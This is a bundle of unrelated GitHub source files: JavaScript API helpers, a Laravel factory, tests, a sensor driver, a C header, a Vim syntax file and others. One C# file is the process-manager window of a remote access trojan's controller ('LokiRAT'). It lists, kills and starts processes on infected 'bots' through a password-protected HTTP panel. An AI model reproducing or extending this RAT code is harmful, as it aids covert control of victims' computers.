author_id: entry.author,
contributor_ids: entry.contributors,
},
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': nonce || config.nonce,
'cache-control': 'no-cache',
},
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function updateEntry(entry, config, nonce = false) {
const settings = {
url: `${config.endpoint_url}crud/`,
method: 'POST',
body: {
crud_action: 'update',
post_id: config.post_id,
entry_id: entry.id,
content: entry.content,
author_id: entry.author,
contributor_ids: entry.contributors,
},
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': nonce || config.nonce,
'cache-control': 'no-cache',
},
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function deleteEntry(id, config, nonce = false) {
const settings = {
url: `${config.endpoint_url}crud/`,
method: 'POST',
body: {
crud_action: 'delete',
post_id: config.post_id,
entry_id: id,
},
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': nonce || config.nonce,
'cache-control': 'no-cache',
},
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function getEvents(config, newestEntry) {
const settings = {
url: `${config.endpoint_url}get-key-events/${newestEntry.id || config.latest_entry_id}-${newestEntry.timestamp || config.latest_entry_timestamp}`,
crossDomain: config.cross_domain,
method: 'GET',
};
return ajax(settings);
}
export function jumpToEvent(id, config, newestEntry) {
const settings = {
url: `${config.endpoint_url}jump-to-key-event/${id}/${newestEntry.id || 0}-${newestEntry.timestamp || 0}`,
crossDomain: config.cross_domain,
method: 'GET',
};
return ajax(settings);
}
export function deleteEvent(entry, config, nonce = false) {
const settings = {
url: `${config.endpoint_url}crud/`,
method: 'POST',
body: {
crud_action: 'delete_key',
post_id: config.post_id,
entry_id: entry.id,
content: entry.content,
},
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': nonce || config.nonce,
'cache-control': 'no-cache',
},
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function getAuthors(term, config) {
const settings = {
url: `${config.autocomplete[3].url}${term}`,
method: 'GET',
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function getHashtags(term, config) {
const settings = {
url: `${config.autocomplete[2].url}${term}`,
method: 'GET',
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function getPreview(content, config) {
const settings = {
url: `${config.endpoint_url}preview`,
method: 'POST',
body: {
entry_content: content,
},
headers: {
'Content-Type': 'application/json',
},
crossDomain: config.cross_domain,
};
return ajax(settings);
}
export function uploadImage(formData) {
const location = window.location;
const settings = {
url: `${location.protocol}//${location.hostname}/wp-admin/admin-ajax.php`,
method: 'POST',
body: formData,
};
return ajax(settings);
}
export function getMedia(params) {
const location = window.location;
const settings = {
url: `${location.protocol}//${location.hostname}/wp-json/wp/v2/media${getParams(params)}`,
method: 'GET',
};
return ajax(settings);
}
| {
"pile_set_name": "Github"
} |
page.visual_effect :fade, 'mydiv'
| {
"pile_set_name": "Github"
} |
This is a miscellaneous test that was imported into the new-at-the-time
runtime test framework. The test is intended to exercise basic features,
and as such cannot be build on top of junit, since failure of such basic
features might disrupt junit.
TODO: Real description goes here.
| {
"pile_set_name": "Github"
} |
<?php
use App\Models\Auth\User;
use Faker\Generator as Faker;
use Illuminate\Support\Str;
$factory->define(User::class, function (Faker $faker) {
$password = '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi'; // password
return [
'name' => $faker->name,
'email' => $faker->unique()->safeEmail,
'password' => $password,
'password_confirmation' => $password,
'remember_token' => Str::random(10),
'locale' => 'en-GB',
'companies' => ['1'],
'roles' => ['1'],
'enabled' => $this->faker->boolean ? 1 : 0,
];
});
$factory->state(User::class, 'enabled', ['enabled' => 1]);
$factory->state(User::class, 'disabled', ['enabled' => 0]);
| {
"pile_set_name": "Github"
} |
import { typografRuleTest } from '../../../../test/helpers';
typografRuleTest(['common/nbsp/replaceNbsp', [
[
'Флойд\u00A0Мэйуэзер\u00A0одержал\u00A049-ю\u00A0победу\u00A0и\u00A0объявил\u00A0о\u00A0завершении карьеры',
'Флойд Мэйуэзер одержал 49-ю победу и объявил о завершении карьеры'
]
]]);
| {
"pile_set_name": "Github"
} |
// Package function builds on the functionality of cty by modeling functions
// that operate on cty Values.
//
// Functions are, at their core, Go anonymous functions. However, this package
// wraps around them utility functions for parameter type checking, etc.
package function
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Calendar插件today" />
<title>Calendar插件today</title>
<link rel="stylesheet" type="text/css" href="../../resources/default/common/common.css"/>
<link rel="stylesheet" type="text/css" href="../../resources/default/magic.Calendar/magic.Calendar.css"/>
<style type="text/css" media="screen">
h4 {
margin: 0;
}
.describe {
margin-left: 0px;
}
.block {
margin: 5px;
}
.demo {
float: left;
}
.describe {
float: left;
margin-left: 50px;
}
.describe span {
display: inline-block;
height: 20px;
width: 20px;
text-align: center;
}
.describe span.disable {
color: #CCC;
}
.describe span.selected {
color: #C00;
background-color: #FFF;
}
.describe span.highlight {
background-color: #1F69FF;
color: #FFF;
}
.describe span.hover {
background-color: #E94949;
color: #FFF;
}
.describe span.other {
color: #999;
}
</style>
<script type="text/javascript" src='../../src/import.php?f=magic.Calendar,magic.Calendar.$timer,magic.Calendar.$today'></script>
</head>
<body>
<h1>Calendar 组件</h1>
<div class='demo'>
<div id="J_calendar"></div>
<p>选中的日期:<input type="text" id="J_input" /></p>
<div id="J_calendar2"></div>
<p>选中的日期:<input type="text" id="J_input2" /></p>
</div>
<div class="describe">
<h4>日期各状态颜色说明:</h4>
<p><span class="disable">21</span>不可选日期</p>
<p><span class="disable">2</span>不可选日期</p>
<p><span class="selected">21</span>当前选中日期</p>
<p><span class="highlight">21</span>高亮日期</p>
<p><span class="hover">21</span>鼠标悬停日期</p>
<p><span class="other">21</span>非当前月份日期</p>
</div>
<p style="clear:both;"></p>
<script type="text/javascript" charset="utf-8">
var calendar = new magic.Calendar({
weekStart: 'sun',
initDate: new Date('2012/05/30 10:11:12'),
highlightDates: [new Date('2012/05/06'), new Date('2010/09/12'), {start: new Date('2012/05/15'), end: new Date('2012/05/20')}, new Date('2012/06/30')],
disabledDates: [{end: new Date('2012/05/05')}, new Date('2012/06/25')],
disabledDayOfWeek: ['tue'],
today: {
enable: true
}
});
calendar.on("selectdate", function(e){
baidu("#J_input")[0].value = calendar._formatDate(calendar.getDate());
});
calendar.render("J_calendar");
var calendar2 = new magic.Calendar({
weekStart: 'sun',
initDate: new Date('2012/05/30 10:11:12'),
highlightDates: [new Date('2012/05/06'), new Date('2010/09/12'), {start: new Date('2012/05/15'), end: new Date('2012/05/20')}, new Date('2012/06/30')],
disabledDates: [{end: new Date('2012/05/05')}, new Date('2012/06/25')],
disabledDayOfWeek: ['tue'],
today: {
enable: true
},
timer: {
enable: true
}
});
calendar2.on("selectdate", function(e){
baidu("#J_input2")[0].value = calendar2._formatDate(calendar2.getDate());
});
calendar2.render("J_calendar2");
</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
#NOTE:
# This sensor is on port 0x04, so not compatible with grovepi unless you load an alternate firmware
# This is work in progress, would need logic analyzer and arduino to get working
# Error:
# Traceback (most recent call last):
# File "multichannel_gas_sensor.py", line 67, in <module>
# m= MutichannelGasSensor()
# File "multichannel_gas_sensor.py", line 21, in __init__
# if self.readR0() >= 0:
# File "multichannel_gas_sensor.py", line 27, in readR0
# rtnData = self.readData(0x11)
# File "multichannel_gas_sensor.py", line 52, in readData
# buffer=bus.read_i2c_block_data(self.address, cmd, 4)
#IOError: [Errno 5] Input/output error
#
# LINKS
# http://www.seeedstudio.com/wiki/Grove_-_Multichannel_Gas_Sensor
# https://github.com/Seeed-Studio/Mutichannel_Gas_Sensor
import time,sys
import RPi.GPIO as GPIO
import smbus
# use the bus that matches your raspi version
rev = GPIO.RPI_REVISION
if rev == 2 or rev == 3:
bus = smbus.SMBus(1)
else:
bus = smbus.SMBus(0)
class MutichannelGasSensor:
address = None
is_connected = 0
res=[0]*3
def __init__(self,address=0x04):
self.address=address
is_connected = 0
if self.readR0() >= 0:
self.is_connected = 1
def readR0(self):
rtnData = 0
rtnData = self.readData(0x11)
if(rtnData >= 0):
self.res0[0] = rtnData
else:
return rtnData
rtnData = self.readData(0x12)
if(rtnData >= 0):
self.res0[0] = rtnData
else:
return rtnData
rtnData = self.readData(0x13)
if(rtnData >= 0):
self.res0[0] = rtnData
else:
return rtnData
return 0
def readData(self,cmd):
timeout = 0
buffer=[0]*4
checksum = 0
rtnData = 0
buffer=bus.read_i2c_block_data(self.address, cmd, 4)
print(data)
checksum = buffer[0] + buffer[1] + buffer[2]
if checksum != buffer[3]:
return -4
rtnData = ((buffer[1] << 8) + buffer[2])
return rtnData
def sendI2C(self,cmd):
bus.write_byte(self.address, cmd)
if __name__ == "__main__":
m= MutichannelGasSensor() | {
"pile_set_name": "Github"
} |
exec >&2
rm -rf t/.redo redo/sh
if [ -e .do_built ]; then
while read x; do
[ -d "$x" ] || rm -f "$x"
done <.do_built
fi
[ -z "$DO_BUILT" ] && rm -rf .do_built .do_built.dir
rm -rf minimal/.do_built minimal/.do_built.dir minimal/y docs.out
redo t/clean docs/clean redo/clean
rm -f *~ .*~ */*~ */.*~ *.pyc install.wrapper
find . -name '*.tmp' -exec rm -f {} \;
find . -name '*.did' -exec rm -f {} \;
| {
"pile_set_name": "Github"
} |
namespace LokiRAT_Server
{
using System;
using System.ComponentModel;
using System.Drawing;
using System.Net;
using System.Text.RegularExpressions;
using System.Windows.Forms;
public class processManager : Form
{
private WebClient client = new WebClient();
private ColumnHeader columnHeader1;
private ColumnHeader columnHeader2;
private ColumnHeader columnHeader3;
private IContainer components = null;
private ContextMenuStrip contextMenuStrip1;
private ImageList imageList1;
private ToolStripMenuItem killProcessToolStripMenuItem1;
private ListView listView1;
private string myLastCommand = "-1";
private ToolStripMenuItem reloadToolStripMenuItem1;
private ToolStripMenuItem startProcessToolStripMenuItem1;
private System.Windows.Forms.Timer timer1;
private ToolStripSeparator toolStripSeparator1;
public processManager()
{
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && (this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new Container();
ComponentResourceManager manager = new ComponentResourceManager(typeof(processManager));
this.listView1 = new ListView();
this.columnHeader1 = new ColumnHeader();
this.columnHeader2 = new ColumnHeader();
this.columnHeader3 = new ColumnHeader();
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
this.reloadToolStripMenuItem1 = new ToolStripMenuItem();
this.toolStripSeparator1 = new ToolStripSeparator();
this.killProcessToolStripMenuItem1 = new ToolStripMenuItem();
this.startProcessToolStripMenuItem1 = new ToolStripMenuItem();
this.imageList1 = new ImageList(this.components);
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1.SuspendLayout();
base.SuspendLayout();
this.listView1.Anchor = AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Bottom | AnchorStyles.Top;
this.listView1.Columns.AddRange(new ColumnHeader[] { this.columnHeader1, this.columnHeader2, this.columnHeader3 });
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
this.listView1.FullRowSelect = true;
this.listView1.GridLines = true;
this.listView1.Location = new Point(0, -2);
this.listView1.MultiSelect = false;
this.listView1.Name = "listView1";
this.listView1.ShowGroups = false;
this.listView1.Size = new Size(530, 0x167);
this.listView1.SmallImageList = this.imageList1;
this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = View.Details;
this.columnHeader1.Text = "Image Name";
this.columnHeader1.Width = 0x8a;
this.columnHeader2.Text = "Memory (Private Working Set)";
this.columnHeader2.Width = 120;
this.columnHeader3.Text = "Window Title";
this.columnHeader3.Width = 210;
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[] { this.reloadToolStripMenuItem1, this.toolStripSeparator1, this.killProcessToolStripMenuItem1, this.startProcessToolStripMenuItem1 });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new Size(0x8e, 0x4c);
this.reloadToolStripMenuItem1.Image = (Image) manager.GetObject("reloadToolStripMenuItem1.Image");
this.reloadToolStripMenuItem1.Name = "reloadToolStripMenuItem1";
this.reloadToolStripMenuItem1.Size = new Size(0x8d, 0x16);
this.reloadToolStripMenuItem1.Text = "Reload";
this.reloadToolStripMenuItem1.Click += new EventHandler(this.reloadToolStripMenuItem1_Click);
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new Size(0x8a, 6);
this.killProcessToolStripMenuItem1.Image = (Image) manager.GetObject("killProcessToolStripMenuItem1.Image");
this.killProcessToolStripMenuItem1.Name = "killProcessToolStripMenuItem1";
this.killProcessToolStripMenuItem1.Size = new Size(0x8d, 0x16);
this.killProcessToolStripMenuItem1.Text = "Kill Process";
this.killProcessToolStripMenuItem1.Click += new EventHandler(this.killProcessToolStripMenuItem1_Click);
this.startProcessToolStripMenuItem1.Image = (Image) manager.GetObject("startProcessToolStripMenuItem1.Image");
this.startProcessToolStripMenuItem1.Name = "startProcessToolStripMenuItem1";
this.startProcessToolStripMenuItem1.Size = new Size(0x8d, 0x16);
this.startProcessToolStripMenuItem1.Text = "Start Process";
this.startProcessToolStripMenuItem1.Click += new EventHandler(this.startProcessToolStripMenuItem1_Click);
this.imageList1.ImageStream = (ImageListStreamer) manager.GetObject("imageList1.ImageStream");
this.imageList1.TransparentColor = Color.Transparent;
this.imageList1.Images.SetKeyName(0, "App.png");
this.timer1.Enabled = true;
this.timer1.Interval = 500;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
base.ClientSize = new Size(530, 0x165);
base.Controls.Add(this.listView1);
base.Icon = (Icon) manager.GetObject("$this.Icon");
base.Name = "processManager";
this.Text = "Process Manager | LokiRAT";
base.Load += new EventHandler(this.processManager_Load);
this.contextMenuStrip1.ResumeLayout(false);
base.ResumeLayout(false);
}
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
this.loadPage("type=command&command=pkill|" + this.listView1.SelectedItems[0].Text);
this.listView1.Items.Clear();
}
catch
{
}
}
private void killProcessToolStripMenuItem1_Click(object sender, EventArgs e)
{
try
{
this.loadPage("type=command&command=pkill|" + this.listView1.SelectedItems[0].Text);
this.listView1.Items.Clear();
}
catch
{
}
}
public string loadPage(string toHost)
{
string str = null;
try
{
this.client.Headers["User-Agent"] = main.userAgent;
str = this.client.DownloadString(main.connectionURL + "?pass=" + main.connectionPass + "&id=" + main.currentID + "&" + toHost);
}
catch
{
new configuration().ShowDialog();
}
return str;
}
private void processManager_Load(object sender, EventArgs e)
{
this.loadPage("type=command&command=process");
}
private void reloadToolStripMenuItem_Click(object sender, EventArgs e)
{
this.listView1.Items.Clear();
this.loadPage("type=command&command=process");
}
private void reloadToolStripMenuItem1_Click(object sender, EventArgs e)
{
this.listView1.Items.Clear();
this.loadPage("type=command&command=process");
}
private void startProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
new execute().ShowDialog();
}
private void startProcessToolStripMenuItem1_Click(object sender, EventArgs e)
{
new execute().ShowDialog();
}
private void timer1_Tick(object sender, EventArgs e)
{
string[] strArray = new string[5];
string[] strArray2 = new string[5];
try
{
if (main.lastCommand[main.selectedBot] != this.myLastCommand)
{
this.myLastCommand = main.lastCommand[main.selectedBot];
strArray2 = Regex.Split(main.lastCommandText[main.selectedBot], "{-p}");
if (strArray2[0] == "LSprocess")
{
this.listView1.Items.Clear();
for (int i = 1; i < (strArray2.Length - 1); i++)
{
strArray = Regex.Split(strArray2[i], "{-pi}");
ListViewItem item = this.listView1.Items.Add(strArray[0]);
item.ImageIndex = 0;
int num2 = Convert.ToInt32(strArray[1]) / 0x400;
item.SubItems.Add(num2.ToString() + " KB");
item.SubItems.Add(strArray[2]);
}
}
else if (strArray2[0] == "RSpkill")
{
this.loadPage("type=command&command=process");
}
}
}
catch
{
}
}
}
}
| {
"pile_set_name": "Github"
} |
{
"$schema": "https://developer.microsoft.com/json-schemas/spfx-build/deploy-azure-storage.schema.json",
"workingDir": "./temp/deploy/",
"account": "<!-- STORAGE ACCOUNT NAME -->",
"container": "spfx",
"accessKey": "<!-- ACCESS KEY -->"
} | {
"pile_set_name": "Github"
} |
import { Component } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent {
getWidth() : any {
if (document.body.offsetWidth < 750) {
return '90%';
}
return 750;
}
} | {
"pile_set_name": "Github"
} |
{-+
This is a small utility to strip blank lines and comments from a Haskell file.
This version takes a Haskell program on stdin and writes the result to
stdout. Literate files are not supported.
-}
import StripComments(stripcomments)
main = interact stripcomments
| {
"pile_set_name": "Github"
} |
//===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
// <strstream>
// class ostrstream
// int pcount() const;
#include <strstream>
#include <cassert>
#include "test_macros.h"
int main(int, char**)
{
{
std::ostrstream out;
assert(out.pcount() == 0);
out << 123 << ' ' << 4.5 << ' ' << "dog";
assert(out.pcount() == 11);
}
return 0;
}
| {
"pile_set_name": "Github"
} |
/*
* fs/cifs/rfc1002pdu.h
*
* Protocol Data Unit definitions for RFC 1001/1002 support
*
* Copyright (c) International Business Machines Corp., 2004
* Author(s): Steve French ([email protected])
*
* This library is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation; either version 2.1 of the License, or
* (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
* the GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/* NB: unlike smb/cifs packets, the RFC1002 structures are big endian */
/* RFC 1002 session packet types */
#define RFC1002_SESSION_MESSAGE 0x00
#define RFC1002_SESSION_REQUEST 0x81
#define RFC1002_POSITIVE_SESSION_RESPONSE 0x82
#define RFC1002_NEGATIVE_SESSION_RESPONSE 0x83
#define RFC1002_RETARGET_SESSION_RESPONSE 0x84
#define RFC1002_SESSION_KEEP_ALIVE 0x85
/* RFC 1002 flags (only one defined */
#define RFC1002_LENGTH_EXTEND 0x80 /* high order bit of length (ie +64K) */
struct rfc1002_session_packet {
__u8 type;
__u8 flags;
__u16 length;
union {
struct {
__u8 called_len;
__u8 called_name[32];
__u8 scope1; /* null */
__u8 calling_len;
__u8 calling_name[32];
__u8 scope2; /* null */
} __attribute__((packed)) session_req;
struct {
__u32 retarget_ip_addr;
__u16 port;
} __attribute__((packed)) retarget_resp;
__u8 neg_ses_resp_error_code;
/* POSITIVE_SESSION_RESPONSE packet does not include trailer.
SESSION_KEEP_ALIVE packet also does not include a trailer.
Trailer for the SESSION_MESSAGE packet is SMB/CIFS header */
} __attribute__((packed)) trailer;
} __attribute__((packed));
/* Negative Session Response error codes */
#define RFC1002_NOT_LISTENING_CALLED 0x80 /* not listening on called name */
#define RFC1002_NOT_LISTENING_CALLING 0x81 /* not listening on calling name */
#define RFC1002_NOT_PRESENT 0x82 /* called name not present */
#define RFC1002_INSUFFICIENT_RESOURCE 0x83
#define RFC1002_UNSPECIFIED_ERROR 0x8F
/* RFC 1002 Datagram service packets are not defined here as they
are not needed for the network filesystem client unless we plan on
implementing broadcast resolution of the server ip address (from
server netbios name). Currently server names are resolved only via DNS
(tcp name) or ip address or an /etc/hosts equivalent mapping to ip address.*/
#define DEFAULT_CIFS_CALLED_NAME "*SMBSERVER "
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="" vcs="Git" />
</component>
</project> | {
"pile_set_name": "Github"
} |
" smcl.vim -- Vim syntax file for smcl files.
" Language: SMCL -- Stata Markup and Control Language
" Maintainer: Jeff Pitblado <[email protected]>
" Last Change: 26apr2006
" Version: 1.1.2
" Log:
" 20mar2003 updated the match definition for cmdab
" 14apr2006 'syntax clear' only under version control
" check for 'b:current_syntax', removed 'did_smcl_syntax_inits'
" 26apr2006 changed 'stata_smcl' to 'smcl'
" quit when a syntax file was already loaded
if exists("b:current_syntax")
finish
endif
syntax case match
syn keyword smclCCLword current_date contained
syn keyword smclCCLword current_time contained
syn keyword smclCCLword rmsg_time contained
syn keyword smclCCLword stata_version contained
syn keyword smclCCLword version contained
syn keyword smclCCLword born_date contained
syn keyword smclCCLword flavor contained
syn keyword smclCCLword SE contained
syn keyword smclCCLword mode contained
syn keyword smclCCLword console contained
syn keyword smclCCLword os contained
syn keyword smclCCLword osdtl contained
syn keyword smclCCLword machine_type contained
syn keyword smclCCLword byteorder contained
syn keyword smclCCLword sysdir_stata contained
syn keyword smclCCLword sysdir_updates contained
syn keyword smclCCLword sysdir_base contained
syn keyword smclCCLword sysdir_site contained
syn keyword smclCCLword sysdir_plus contained
syn keyword smclCCLword sysdir_personal contained
syn keyword smclCCLword sysdir_oldplace contained
syn keyword smclCCLword adopath contained
syn keyword smclCCLword pwd contained
syn keyword smclCCLword dirsep contained
syn keyword smclCCLword max_N_theory contained
syn keyword smclCCLword max_N_current contained
syn keyword smclCCLword max_k_theory contained
syn keyword smclCCLword max_k_current contained
syn keyword smclCCLword max_width_theory contained
syn keyword smclCCLword max_width_current contained
syn keyword smclCCLword max_matsize contained
syn keyword smclCCLword min_matsize contained
syn keyword smclCCLword max_macrolen contained
syn keyword smclCCLword macrolen contained
syn keyword smclCCLword max_cmdlen contained
syn keyword smclCCLword cmdlen contained
syn keyword smclCCLword namelen contained
syn keyword smclCCLword mindouble contained
syn keyword smclCCLword maxdouble contained
syn keyword smclCCLword epsdouble contained
syn keyword smclCCLword minfloat contained
syn keyword smclCCLword maxfloat contained
syn keyword smclCCLword epsfloat contained
syn keyword smclCCLword minlong contained
syn keyword smclCCLword maxlong contained
syn keyword smclCCLword minint contained
syn keyword smclCCLword maxint contained
syn keyword smclCCLword minbyte contained
syn keyword smclCCLword maxbyte contained
syn keyword smclCCLword maxstrvarlen contained
syn keyword smclCCLword memory contained
syn keyword smclCCLword maxvar contained
syn keyword smclCCLword matsize contained
syn keyword smclCCLword N contained
syn keyword smclCCLword k contained
syn keyword smclCCLword width contained
syn keyword smclCCLword changed contained
syn keyword smclCCLword filename contained
syn keyword smclCCLword filedate contained
syn keyword smclCCLword more contained
syn keyword smclCCLword rmsg contained
syn keyword smclCCLword dp contained
syn keyword smclCCLword linesize contained
syn keyword smclCCLword pagesize contained
syn keyword smclCCLword logtype contained
syn keyword smclCCLword linegap contained
syn keyword smclCCLword scrollbufsize contained
syn keyword smclCCLword varlabelpos contained
syn keyword smclCCLword reventries contained
syn keyword smclCCLword graphics contained
syn keyword smclCCLword scheme contained
syn keyword smclCCLword printcolor contained
syn keyword smclCCLword adosize contained
syn keyword smclCCLword maxdb contained
syn keyword smclCCLword virtual contained
syn keyword smclCCLword checksum contained
syn keyword smclCCLword timeout1 contained
syn keyword smclCCLword timeout2 contained
syn keyword smclCCLword httpproxy contained
syn keyword smclCCLword h_current contained
syn keyword smclCCLword max_matsize contained
syn keyword smclCCLword min_matsize contained
syn keyword smclCCLword max_macrolen contained
syn keyword smclCCLword macrolen contained
syn keyword smclCCLword max_cmdlen contained
syn keyword smclCCLword cmdlen contained
syn keyword smclCCLword namelen contained
syn keyword smclCCLword mindouble contained
syn keyword smclCCLword maxdouble contained
syn keyword smclCCLword epsdouble contained
syn keyword smclCCLword minfloat contained
syn keyword smclCCLword maxfloat contained
syn keyword smclCCLword epsfloat contained
syn keyword smclCCLword minlong contained
syn keyword smclCCLword maxlong contained
syn keyword smclCCLword minint contained
syn keyword smclCCLword maxint contained
syn keyword smclCCLword minbyte contained
syn keyword smclCCLword maxbyte contained
syn keyword smclCCLword maxstrvarlen contained
syn keyword smclCCLword memory contained
syn keyword smclCCLword maxvar contained
syn keyword smclCCLword matsize contained
syn keyword smclCCLword N contained
syn keyword smclCCLword k contained
syn keyword smclCCLword width contained
syn keyword smclCCLword changed contained
syn keyword smclCCLword filename contained
syn keyword smclCCLword filedate contained
syn keyword smclCCLword more contained
syn keyword smclCCLword rmsg contained
syn keyword smclCCLword dp contained
syn keyword smclCCLword linesize contained
syn keyword smclCCLword pagesize contained
syn keyword smclCCLword logtype contained
syn keyword smclCCLword linegap contained
syn keyword smclCCLword scrollbufsize contained
syn keyword smclCCLword varlabelpos contained
syn keyword smclCCLword reventries contained
syn keyword smclCCLword graphics contained
syn keyword smclCCLword scheme contained
syn keyword smclCCLword printcolor contained
syn keyword smclCCLword adosize contained
syn keyword smclCCLword maxdb contained
syn keyword smclCCLword virtual contained
syn keyword smclCCLword checksum contained
syn keyword smclCCLword timeout1 contained
syn keyword smclCCLword timeout2 contained
syn keyword smclCCLword httpproxy contained
syn keyword smclCCLword httpproxyhost contained
syn keyword smclCCLword httpproxyport contained
syn keyword smclCCLword httpproxyauth contained
syn keyword smclCCLword httpproxyuser contained
syn keyword smclCCLword httpproxypw contained
syn keyword smclCCLword trace contained
syn keyword smclCCLword tracedepth contained
syn keyword smclCCLword tracesep contained
syn keyword smclCCLword traceindent contained
syn keyword smclCCLword traceexapnd contained
syn keyword smclCCLword tracenumber contained
syn keyword smclCCLword type contained
syn keyword smclCCLword level contained
syn keyword smclCCLword seed contained
syn keyword smclCCLword searchdefault contained
syn keyword smclCCLword pi contained
syn keyword smclCCLword rc contained
" Directive for the contant and current-value class
syn region smclCCL start=/{ccl / end=/}/ oneline contains=smclCCLword
" The order of the following syntax definitions is roughly that of the on-line
" documentation for smcl in Stata, from within Stata see help smcl.
" Format directives for line and paragraph modes
syn match smclFormat /{smcl}/
syn match smclFormat /{sf\(\|:[^}]\+\)}/
syn match smclFormat /{it\(\|:[^}]\+\)}/
syn match smclFormat /{bf\(\|:[^}]\+\)}/
syn match smclFormat /{inp\(\|:[^}]\+\)}/
syn match smclFormat /{input\(\|:[^}]\+\)}/
syn match smclFormat /{err\(\|:[^}]\+\)}/
syn match smclFormat /{error\(\|:[^}]\+\)}/
syn match smclFormat /{res\(\|:[^}]\+\)}/
syn match smclFormat /{result\(\|:[^}]\+\)}/
syn match smclFormat /{txt\(\|:[^}]\+\)}/
syn match smclFormat /{text\(\|:[^}]\+\)}/
syn match smclFormat /{com\(\|:[^}]\+\)}/
syn match smclFormat /{cmd\(\|:[^}]\+\)}/
syn match smclFormat /{cmdab:[^:}]\+:[^:}()]*\(\|:\|:(\|:()\)}/
syn match smclFormat /{hi\(\|:[^}]\+\)}/
syn match smclFormat /{hilite\(\|:[^}]\+\)}/
syn match smclFormat /{ul \(on\|off\)}/
syn match smclFormat /{ul:[^}]\+}/
syn match smclFormat /{hline\(\| \d\+\| -\d\+\|:[^}]\+\)}/
syn match smclFormat /{dup \d\+:[^}]\+}/
syn match smclFormat /{c [^}]\+}/
syn match smclFormat /{char [^}]\+}/
syn match smclFormat /{reset}/
" Formatting directives for line mode
syn match smclFormat /{title:[^}]\+}/
syn match smclFormat /{center:[^}]\+}/
syn match smclFormat /{centre:[^}]\+}/
syn match smclFormat /{center \d\+:[^}]\+}/
syn match smclFormat /{centre \d\+:[^}]\+}/
syn match smclFormat /{right:[^}]\+}/
syn match smclFormat /{lalign \d\+:[^}]\+}/
syn match smclFormat /{ralign \d\+:[^}]\+}/
syn match smclFormat /{\.\.\.}/
syn match smclFormat /{col \d\+}/
syn match smclFormat /{space \d\+}/
syn match smclFormat /{tab}/
" Formatting directives for paragraph mode
syn match smclFormat /{bind:[^}]\+}/
syn match smclFormat /{break}/
syn match smclFormat /{p}/
syn match smclFormat /{p \d\+}/
syn match smclFormat /{p \d\+ \d\+}/
syn match smclFormat /{p \d\+ \d\+ \d\+}/
syn match smclFormat /{pstd}/
syn match smclFormat /{psee}/
syn match smclFormat /{phang\(\|2\|3\)}/
syn match smclFormat /{pmore\(\|2\|3\)}/
syn match smclFormat /{pin\(\|2\|3\)}/
syn match smclFormat /{p_end}/
syn match smclFormat /{opt \w\+\(\|:\w\+\)\(\|([^)}]*)\)}/
syn match smclFormat /{opth \w*\(\|:\w\+\)(\w*)}/
syn match smclFormat /{opth "\w\+\((\w\+:[^)}]\+)\)"}/
syn match smclFormat /{opth \w\+:\w\+(\w\+:[^)}]\+)}/
syn match smclFormat /{dlgtab\s*\(\|\d\+\|\d\+\s\+\d\+\):[^}]\+}/
syn match smclFormat /{p2colset\s\+\d\+\s\+\d\+\s\+\d\+\s\+\d\+}/
syn match smclFormat /{p2col\s\+:[^{}]*}.*{p_end}/
syn match smclFormat /{p2col\s\+:{[^{}]*}}.*{p_end}/
syn match smclFormat /{p2coldent\s*:[^{}]*}.*{p_end}/
syn match smclFormat /{p2coldent\s*:{[^{}]*}}.*{p_end}/
syn match smclFormat /{p2line\s*\(\|\d\+\s\+\d\+\)}/
syn match smclFormat /{p2colreset}/
syn match smclFormat /{synoptset\s\+\d\+\s\+\w\+}/
syn match smclFormat /{synopt\s*:[^{}]*}.*{p_end}/
syn match smclFormat /{synopt\s*:{[^{}]*}}.*{p_end}/
syn match smclFormat /{syntab\s*:[^{}]*}/
syn match smclFormat /{synopthdr}/
syn match smclFormat /{synoptline}/
" Link directive for line and paragraph modes
syn match smclLink /{help [^}]\+}/
syn match smclLink /{helpb [^}]\+}/
syn match smclLink /{help_d:[^}]\+}/
